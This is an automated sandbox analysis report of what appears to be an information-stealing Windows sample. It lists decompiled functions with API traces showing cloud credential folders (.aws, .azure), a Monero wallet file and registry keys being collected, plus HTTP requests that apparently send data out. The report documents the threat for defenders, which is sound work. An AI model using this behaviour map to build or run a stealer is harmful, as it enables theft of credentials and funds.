Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 617258b54a1a2f2409ba94fc203ba9f9df098cca20d5824cf5a6f0f85ffe9573
Instruction ID: 9118ddbe511e22f17002fb6f6280e0ef908028fe9cff096731cb0ecf612f4f35
Opcode Fuzzy Hash: 617258b54a1a2f2409ba94fc203ba9f9df098cca20d5824cf5a6f0f85ffe9573
Instruction Fuzzy Hash: 6B12FF71910108ABDB0CFBA4DD96EEE7378FF54301F504169B506E61E2DE38AA06DB63

Function 00875960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
Part of subcall function 008747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008759F8
StrCmpCA.SHLWAPI(?,010FEB98), ref: 00875A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00875B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,010FEB68,00000000,?,010FDCF0,00000000,?,00891A1C), ref: 00875E71
lstrlen.KERNEL32(00000000), ref: 00875E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00875E93
RtlAllocateHeap.NTDLL(00000000), ref: 00875E9A
lstrlen.KERNEL32(00000000), ref: 00875EAF
lstrlen.KERNEL32(00000000), ref: 00875ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00875EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00875F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00875F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00875F4C
InternetCloseHandle.WININET(00000000), ref: 00875FB0
InternetCloseHandle.WININET(00000000), ref: 00875FBD
HttpOpenRequestA.WININET(00000000,010FEBD8,?,010FE570,00000000,00000000,00400100,00000000), ref: 00875BF8

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

InternetCloseHandle.WININET(00000000), ref: 00875FC7

Strings

------, xrefs: 00875D4C
------, xrefs: 00875C0B
------, xrefs: 00875A96
", xrefs: 00875E16
", xrefs: 00875CD5

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9973bd90c5baf32e7cc622b806e8a7cb143df866e2439c5d02f00c73dd92667c
Instruction ID: a9d663a9eb92659046a76804cda245b682399e448e718b332647df87359ef4e5
Opcode Fuzzy Hash: 9973bd90c5baf32e7cc622b806e8a7cb143df866e2439c5d02f00c73dd92667c
Instruction Fuzzy Hash: 3F12EE71820118AAEB19FBA4DC95FDEB378FF14700F5041AAF116A21D1DF746A4ACB62

Function 0087CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00888B60: GetSystemTime.KERNEL32(00890E1A,010FD900,008905AE,?,?,008713F9,?,0000001A,00890E1A,00000000,?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 00888B86

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0087CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0087D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0087D0CE
lstrcat.KERNEL32(?,00000000), ref: 0087D208
lstrcat.KERNEL32(?,00891478), ref: 0087D217
lstrcat.KERNEL32(?,00000000), ref: 0087D22A
lstrcat.KERNEL32(?,0089147C), ref: 0087D239
lstrcat.KERNEL32(?,00000000), ref: 0087D24C
lstrcat.KERNEL32(?,00891480), ref: 0087D25B
lstrcat.KERNEL32(?,00000000), ref: 0087D26E
lstrcat.KERNEL32(?,00891484), ref: 0087D27D
lstrcat.KERNEL32(?,00000000), ref: 0087D290
lstrcat.KERNEL32(?,00891488), ref: 0087D29F
lstrcat.KERNEL32(?,00000000), ref: 0087D2B2
lstrcat.KERNEL32(?,0089148C), ref: 0087D2C1
lstrcat.KERNEL32(?,00000000), ref: 0087D2D4
lstrcat.KERNEL32(?,00891490), ref: 0087D2E3

Part of subcall function 0088A820: lstrlen.KERNEL32(00874F05,?,?,00874F05,00890DDE), ref: 0088A82B
Part of subcall function 0088A820: lstrcpy.KERNEL32(00890DDE,00000000), ref: 0088A885

lstrlen.KERNEL32(?), ref: 0087D32A
lstrlen.KERNEL32(?), ref: 0087D339

Part of subcall function 0088AA70: StrCmpCA.SHLWAPI(010F8A98,0087A7A7,?,0087A7A7,010F8A98), ref: 0088AA8F

DeleteFileA.KERNEL32(00000000), ref: 0087D3B4

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4b2fe6e30971d43f5bde480266e6e4c3239bc562e7286f1b12b0a3ed3bba9c33
Instruction ID: 4e1ac72bf1e4948612ef3b537acfe0b32503dab03563ba6e8d905bc4d8b883f3
Opcode Fuzzy Hash: 4b2fe6e30971d43f5bde480266e6e4c3239bc562e7286f1b12b0a3ed3bba9c33
Instruction Fuzzy Hash: B6E1DA71910108ABDB08FBA4DD96EEE7778FF14301F104169F506E61E2DE39AA06DB63

Function 00888320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

RegOpenKeyExA.KERNEL32(00000000,010FAFA0,00000000,00020019,00000000,008905B6), ref: 008883A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00888426
wsprintfA.USER32 ref: 00888459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0088847B
RegCloseKey.ADVAPI32(00000000), ref: 0088848C
RegCloseKey.ADVAPI32(00000000), ref: 00888499

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Strings

%s\%s, xrefs: 0088844D
- , xrefs: 008885A3
?, xrefs: 0088837A

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 5850a4c1f7037398e0d965bc4b91d478391ee2fcc065e335152f69a7e96c9fa4
Instruction ID: a560273a0b27b70ba5cac6afcf0fe60ae610328c39a0dc6dc868a3a379c57ae3
Opcode Fuzzy Hash: 5850a4c1f7037398e0d965bc4b91d478391ee2fcc065e335152f69a7e96c9fa4
Instruction Fuzzy Hash: A8813D71910118ABEB28EB54CC95FEA77B8FF18700F4082D9E109E6191DF756B86CFA1

Function 00876280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
Part of subcall function 008747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

InternetOpenA.WININET(00890DFE,00000001,00000000,00000000,00000000), ref: 008762E1
StrCmpCA.SHLWAPI(?,010FEB98), ref: 00876303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00876335
HttpOpenRequestA.WININET(00000000,GET,?,010FE570,00000000,00000000,00400100,00000000), ref: 00876385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 008763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0087646D
InternetCloseHandle.WININET(00000000), ref: 008764EF
InternetCloseHandle.WININET(00000000), ref: 008764F9
InternetCloseHandle.WININET(00000000), ref: 00876503

Strings

GET, xrefs: 0087637C
ERROR, xrefs: 008764C9
ERROR, xrefs: 00876407

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 7f8a038be6f83a3dc9b6ce94d8a55f3d40c7752d47bcc894d82d2053ae50a36c
Instruction ID: f004f4f53e5232504655ba58b56c21c2b508801b45eed582323d6fd0d4d6e85a
Opcode Fuzzy Hash: 7f8a038be6f83a3dc9b6ce94d8a55f3d40c7752d47bcc894d82d2053ae50a36c
Instruction Fuzzy Hash: 6C712F71A00218ABEF14EBE4DC49BEE7774FB44700F108199F509AB1D5EBB4AA85CF52

Function 00885510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A820: lstrlen.KERNEL32(00874F05,?,?,00874F05,00890DDE), ref: 0088A82B
Part of subcall function 0088A820: lstrcpy.KERNEL32(00890DDE,00000000), ref: 0088A885

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00885644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00885857

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00885228

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 008852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00885318
Part of subcall function 008852C0: lstrlen.KERNEL32(00000000), ref: 0088532F
Part of subcall function 008852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00885364
Part of subcall function 008852C0: lstrlen.KERNEL32(00000000), ref: 00885383
Part of subcall function 008852C0: lstrlen.KERNEL32(00000000), ref: 008853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0088578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00885940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00885A0C
Sleep.KERNEL32(0000EA60), ref: 00885A1B

Strings

ERROR, xrefs: 00885849
ERROR, xrefs: 00885636
ERROR, xrefs: 0088577D
ERROR, xrefs: 00885693
ERROR, xrefs: 00885932
ERROR, xrefs: 008859FE

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b474d22184451e114ac10874c894a0dcc71762f74e21f76d10f5ad687caf6226
Instruction ID: 0bf763147c3e928fd7c118432885c3b2cd9def05516b07a40c1f2ddf128c5c5c
Opcode Fuzzy Hash: b474d22184451e114ac10874c894a0dcc71762f74e21f76d10f5ad687caf6226
Instruction Fuzzy Hash: 71E111719101089ADB1CFBA8DD969ED7378FF54300F508129B506D65D6EF386B0ACBA3

Function 00884D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 00884DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00884DCD

Part of subcall function 00884910: wsprintfA.USER32 ref: 0088492C
Part of subcall function 00884910: FindFirstFileA.KERNEL32(?,?), ref: 00884943

lstrcat.KERNEL32(?,00000000), ref: 00884E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00884E59

Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FDC), ref: 00884971
Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FE0), ref: 00884987
Part of subcall function 00884910: FindNextFileA.KERNEL32(000000FF,?), ref: 00884B7D
Part of subcall function 00884910: FindClose.KERNEL32(000000FF), ref: 00884B92

lstrcat.KERNEL32(?,00000000), ref: 00884EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00884EE5

